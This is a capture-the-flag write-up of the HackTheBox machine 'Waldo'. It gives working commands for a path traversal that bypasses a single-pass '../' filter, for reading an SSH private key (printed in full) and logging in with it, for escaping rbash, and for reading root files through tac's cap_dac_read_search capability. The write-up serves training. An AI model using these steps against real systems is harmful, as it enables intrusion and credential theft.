Ti Kallisti

HackTheBox "Waldo" Write-Up

Waldo is one of the easier machines on HackTheBox, and the vulnerabilities that we need to exploit are not necessarily representative of the real world. The way to "user" has an easier form of a common vulnerability, though, and the privilege escalation taught be about a tool I never used before, so I decided to make a Write-Up for this box.

As always, we will start with reconnaissance, a port scan being the most basic of reconnaissance techniques:

nmap -A [IP]

Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 13:37 CET Nmap scan report for [IP] Host is up (0.11s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) | ssh-hostkey: | 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA) | 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA) |_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 | http-title: List Manager |_Requested resource was /list.html |_http-trane-info: Problem with XML parsing of /evox/about

This shows us that both an SSH server and an HTTP server are running on this target. SSH is a pretty secure application, and without any vulnerability in the server itself we will only get further with valid credentials - which we don't have. Let's then progress to check out the HTTP server. Even though I don't recommend it for private use (data collection and all that), I like to use Chromium for hacking activities. Opening the site we are greeted with a very unwelcoming flood of colors (a large image of "Where is Waldo?" and a cheap HTML UI). Pressing F12 opens the developer console, which is great for analyzing HTTP traffic. The "Network" tab has an overview of all HTTP calls that are made. Checking "Preserve log" will keep the information after a refresh a made or a new site is opened - which can be useful to get a hold of the bigger picture.

Refreshing the site, the developer view shows a call to an interesting file - "dirRead.php". Clicking on one of the items makes a call to another file "fileRead.php". Looking at their functionality, we can see that they do what we would expect - read a file (or a directory, respectively). With these, we may be able to crawl through the file system of the target and find delicate information (like a flag - for example). Taking a closer look at the calls in the developer console, we see that there are POST requests made to these files, with the parameter "path" for "dirRead.php" and "file" for "fileRead.php".

To forge HTTP requests, I use curl (To get a feeling for curl, you can right click on an item in the developer console, select "copy as curl" and paste it into your terminal).

Let's start simple:

Let's analyze this: We can look at the current directory, we can look at subdirectories and we can look at the parent directory. But if we try to get even further up in the directory tree, we are stuck. A lot of Web Applications that allow such file and directory accesses work with permissions - but we don't get a 403 or similar response that tells us that what we try is forbidden. Another method is to sanitize the input, e.g. removing ".." from strings to avoid going up a level - that specific example does not apply here, as passing ".." as input delivers the desired output. But developers are human (for now), and humans make mistakes. What we want to achieve here is called "Path Traversal".

After playing around with different inputs a bit, we can make the following observation: What the PHP scripts to is replace "../" with "". It only does one round of replacing, though. Some examples:

A smarter (but still pretty dumb) algorithm would do the replacement over and over again, until no replacement is possible anymore. But this one doesn't. With the last example we can now form paths suitable for our aims:

We can crawl through the directories as we please, and we already found the user flag! Let's grab it, shall we? "fileRead.php" will allow us to do just that:

curl 'http://[IP]/fileRead.php' --data 'file=.../...//.../...//.../...//home/nobody/user.txt' --compressed {"file":false}

Hmmm... Turns out, it doesn't work as expected. Some trial & error will help us realize that this is a permission problem. We simply don't have the rights to read that file. Looking at the above output, though, we see that there are some non-standard files within "/home/nobody/.ssh". Let's take a look:

curl 'http://[IP]/fileRead.php' --data 'file=.../...//.../...//.../...//home/nobody/.ssh/.monitor' --compressed {"file":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl\nmR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f\n87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS\ndGCc\/gNpW\/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN\no8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8\/6pceowqs9ujRkNzH9T1lJq4Fx1V\nvi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl\/wdmuPEW6kU\nvmzhRU3gcjuzwBET0TNejbL\/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR\/6\npKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5\n8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q\n1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox\/05qoOBL4kQxUM7\nVxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS\ndVa3yLECgYEA7jk51MvUGSIFF6GkXsNb\/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO\nv0og0X\/iROXAcp6Z9WGpIc6FhVgJd\/4bNlTR+A\/lWQwFt1b6l03xdsyaIyIWi9xr\nxsb2sLNWP56A\/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY\nqFfdAWrvVZjp26Yf\/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI\nyzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1\n\/pAcw\/+\/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw\/IMnLa3drm3CIAa32iU\nLRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ\/\nlnN2n1WyTIyEuGA\/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp\nw7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9\n1HLmBkDTjjj\/xAJAZuiOF4Rs\/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT\nrj1BhUCzZCUgQABtpC6vYj\/HLLlzpiC05AIEhDdvToPK\/0WuY64fds0VccAYmMDr\nX\/PlAoGAS6UhbCm5TWZhtL\/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2\nDvVny8gKbM\/OenwHnTlwRTEj5qdeAM40oj\/mwCDc6kpV1lJXrW2R5mCH9zgbNFla\nW0iKCBUAm5xZgU\/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=\n-----END RSA PRIVATE KEY-----\n"}

We got ourselves an RSA private key! The nmap scan earlier showed us that an SSH server is running on port 22 of the target, so if we put that key into a file on our machine (let's call it "private.key"), and use the username we just found through the dirRead ("nobody"), maybe...

ssh -i private.key nobody@[IP] Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See . waldo:~$ ls -l total 4 -r-------- 1 nobody nobody 33 May 3 2018 user.txt waldo:~$ cat user.txt

We have the user flag! And we have SSH access to the target. Let us now continue to make our way to root.

waldo:~$ find / -perm 4000 2>/dev/null waldo:~$ find / -writable -executable 2>/dev/null waldo:~$

No SUID file to exploit. Further search will also reveal that there is nothing, no cronjob, no misconfiguration, etc. that could be used for privilege escalation. One thing, though, remains: Why is the key called monitor? Maybe a look into the known_hosts file will give us a hint:

cat known_hosts localhost ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMsMoPYC4gQXgpVm2SlVUPuagi1mP6V4l5zynWW5f2CogESxxB/uWRLnTMjVdqL279PojOB+3n5iXLAB2sg1Bho= 127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMsMoPYC4gQXgpVm2SlVUPuagi1mP6V4l5zynWW5f2CogESxxB/uWRLnTMjVdqL279PojOB+3n5iXLAB2sg1Bho= waldo ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMsMoPYC4gQXgpVm2SlVUPuagi1mP6V4l5zynWW5f2CogESxxB/uWRLnTMjVdqL279PojOB+3n5iXLAB2sg1Bho=

It seems that the user "nobody" has opened an SSH connection to the same machine it is on (localhost/127.0.0.1) in the past. With the information we have, we can make a guess:

waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 Here's Waldo, where's root? Last login: Wed Dec 19 08:36:18 2018 from 127.0.0.1 -rbash: alias: command not found monitor@waldo:~$

Our assumptions were correct. The key filename actually revealed the username to us, we now have a user with slightly more privileges than "nobody". Let's take a look around:

monitor@waldo:~$ ls -l total 8 drwxrwx--- 3 app-dev monitor 4096 Dec 19 05:46 app-dev dr-xr-x--- 2 root monitor 4096 May 3 2018 bin monitor@waldo:~$ cd .. -rbash: cd: restricted monitor@waldo:~$ cd app-dev -rbash: cd: restricted

"cd" doesn't work. We can not even change directory - we're stuck. But one line of the output might help here: "-rbash: cd: restricted". These restrictions seem to restricted only in the "rbash" shell, the default shell configured for the user "monitor". What if we use a different shell?

monitor@waldo:~$ exit logout -rbash: dircolors: command not found -rbash: alias: command not found -rbash: .: /usr/share/bash-completion/bash_completion: restricted -rbash: PATH: readonly variable Connection to 127.0.0.1 closed. waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t bash monitor@waldo:~$ ls -l total 8 drwxrwx--- 3 app-dev monitor 4096 Dec 19 05:46 app-dev dr-xr-x--- 2 root monitor 4096 May 3 2018 bin monitor@waldo:~$ cd app-dev monitor@waldo:~/app-dev$

And it works! One problem remains, though:

monitor@waldo:~/app-dev$ vim bash: vim: command not found monitor@waldo:~/app-dev$ nano bash: nano: command not found monitor@waldo:~/app-dev$ vi bash: vi: command not found monitor@waldo:~/app-dev$ whoami bash: whoami: command not found

The shell doesn't recognize most of our commands? This is because of how the PATH variable is configure here:

monitor@waldo:~/app-dev$ echo $PATH /home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

It does not contain any of the common paths for commands. Let's fix that:

monitor@waldo:~/app-dev$ export PATH=/bin:/usr/bin:/sbin:/usr/sbin:$PATH monitor@waldo:~/app-dev$ whoami monitor

We can now use some more commands.

monitor@waldo:~/app-dev$ cat logMonitor.c

******************************************* * *This is an application to print out common log files * ******************************************** #include "logMonitor.h" void printUsage() { printf("Usage: %s [-aAbdDfhklmsw] [--help]\n", PROGRAMNAME); } int main(int argc, char** argv){ int opt = 0; char filename[26]; { //temporary variables for parsing static struct option long_options[] ={ /* These options don’t set a flag. We distinguish them by their indices. */ {"auth", no_argument, 0, 'a'}, {"alternatives", no_argument, 0, 'A'}, {"btmp", no_argument, 0, 'b'}, {"dpkg", no_argument, 0, 'd'}, {"daemon", no_argument, 0, 'D'}, {"faillog", no_argument, 0, 'f'}, {"help", no_argument, 0, 'h'}, {"kern", no_argument, 0, 'k'}, {"lastlog", no_argument, 0, 'l'}, {"messages", no_argument, 0, 'm'}, {"syslog", no_argument, 0, 's'}, {"wtmp", no_argument, 0, 'w'}, {0,0,0,0} }; //parse the command line arguments int option_index = 0; while((opt = getopt_long (argc, argv, "aAbdDfhklmsw", long_options, &option_index)) != -1 ){ switch (opt) { case 'a' : strncpy(filename, "/var/log/auth.log", sizeof(filename)); printFile(filename); break; case 'A' : strncpy(filename, "/var/log/alternatives.log", sizeof(filename)); printFile(filename); break; case 'b' : strncpy(filename, "/var/log/btmp",sizeof(filename)); printFile(filename); break; case 'd' : strncpy(filename, "/var/log/daemon.log",sizeof(filename)); printFile(filename); break; case 'D' : strncpy(filename, "/var/log/dpkg.log",sizeof(filename)); printFile(filename); break; case 'f' : strncpy(filename, "/var/log/faillog",sizeof(filename)); printFile(filename); break; case 'h' : printUsage(); exit(1); case 'k' : strncpy(filename, "/var/log/kern.log",sizeof(filename)); printFile(filename); break; case 'l' : strncpy(filename, "/var/log/lastlog",sizeof(filename)); printFile(filename); break; case 'm' : strncpy(filename, "/var/log/messages",sizeof(filename)); printFile(filename); break; case 's' : strncpy(filename, "/var/log/syslog",sizeof(filename)); printFile(filename); break; case 'w' : strncpy(filename, "/var/log/wtmp",sizeof(filename)); printFile(filename); break; default: printUsage(); exit(EXIT_FAILURE); } } } return 1; }

monitor@waldo:~/app-dev$ cd v0.1/ monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -h Usage: logMonitor [-aAbdDfhklmsw] [--help] monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -m Dec 19 02:44:21 waldo liblogging-stdlog: [origin software="rsyslogd" swVersion="8.24.0" x-pid="394" x-info="http://www.rsyslog.com"] rsyslogd was HUPed

The program "logMonitor-0.1" is a SUID script, but looking at the source code we can see that there is now way of a buffer overflow or similar, no way of getting it to do things it wasn't meant to do. So let's look around a bit more:

monitor@waldo:~/app-dev/v0.1$ find / -perm 4000 2>/dev/null monitor@waldo:~/app-dev/v0.1$ find / -writable -executable 2>/dev/null /proc/107167/task/107167/fd/1 /proc/107167/task/107167/fd/2 /proc/107167/task/107167/fd/3 /proc/107167/task/107167/fd/6 /proc/107167/task/107167/fd/8 /proc/107167/task/107167/fd/13 /proc/107167/task/107167/fd/14 /proc/107167/task/107167/fd/15 /proc/107167/task/107167/fd/16 /proc/107167/task/107167/fd/21 /proc/107167/task/107167/fd/22 /proc/107167/task/107167/fd/23 /proc/107167/task/107167/fd/24 /proc/107167/fd/1 /proc/107167/fd/2 /proc/107167/fd/3 /proc/107167/fd/6 /proc/107167/fd/8 /proc/107167/fd/13 /proc/107167/fd/14 /proc/107167/fd/15 /proc/107167/fd/16 /proc/107167/fd/21 /proc/107167/fd/22 /proc/107167/fd/23 /proc/107167/fd/24 /proc/107616/task/107616/exe /proc/107616/exe /proc/107730/task/107730/fd /proc/107730/task/107730/fd/4 /proc/107730/task/107730/fd/10 /proc/107730/fd /proc/107730/fd/4 /proc/107730/fd/6 /proc/107730/map_files /run/user/1001 /run/user/1001/gnupg /run/user/1001/systemd /run/user/1001/systemd/private /run/user/1001/systemd/notify /run/user/1001/systemd/transient /run/shm /run/systemd/private /run/systemd/notify /run/lock /dev/mqueue /dev/shm /dev/fd /sys/fs/cgroup/systemd/user.slice/user-1001.slice/user@1001.service /sys/fs/cgroup/systemd/user.slice/user-1001.slice/user@1001.service/init.scope /tmp /tmp/.XIM-unix /tmp/.Test-unix /tmp/.font-unix /tmp/.ICE-unix /tmp/li.sh /tmp/.X11-unix /home/monitor/app-dev /home/monitor/app-dev/logMonitor /var/tmp /var/lock

The SUID search gives us no results we can work with - nothing out of the ordinary here. I was stuck at this point a long time, until a friend told me about a program I never used before, but seems to be very common: getcap. It can help to find executables that run with elevated permissions.

Running it like this:

monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null /usr/bin/tac = cap_dac_read_search+ei /home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

reveals two things: the "logMonitor-0.1" we have seen before and something called "tac".

monitor@waldo:~/app-dev/v0.1$ tac --help Usage: tac [OPTION]... [FILE]... Write each FILE to standard output, last line first. With no FILE, or when FILE is -, read standard input. Mandatory arguments to long options are mandatory for short options too. -b, --before attach the separator before instead of after -r, --regex interpret the separator as a regular expression -s, --separator=STRING use STRING as the separator instead of newline --help display this help and exit --version output version information and exit GNU coreutils online help: Full documentation at: or available locally via: info '(coreutils) tac invocation'

Bingo! This is a program with root rights that can read files. So, running it like this:

monitor@waldo:~/app-dev/v0.1$ tac /root/root.txt

gives us the root flag and thus concludes this Write-Up!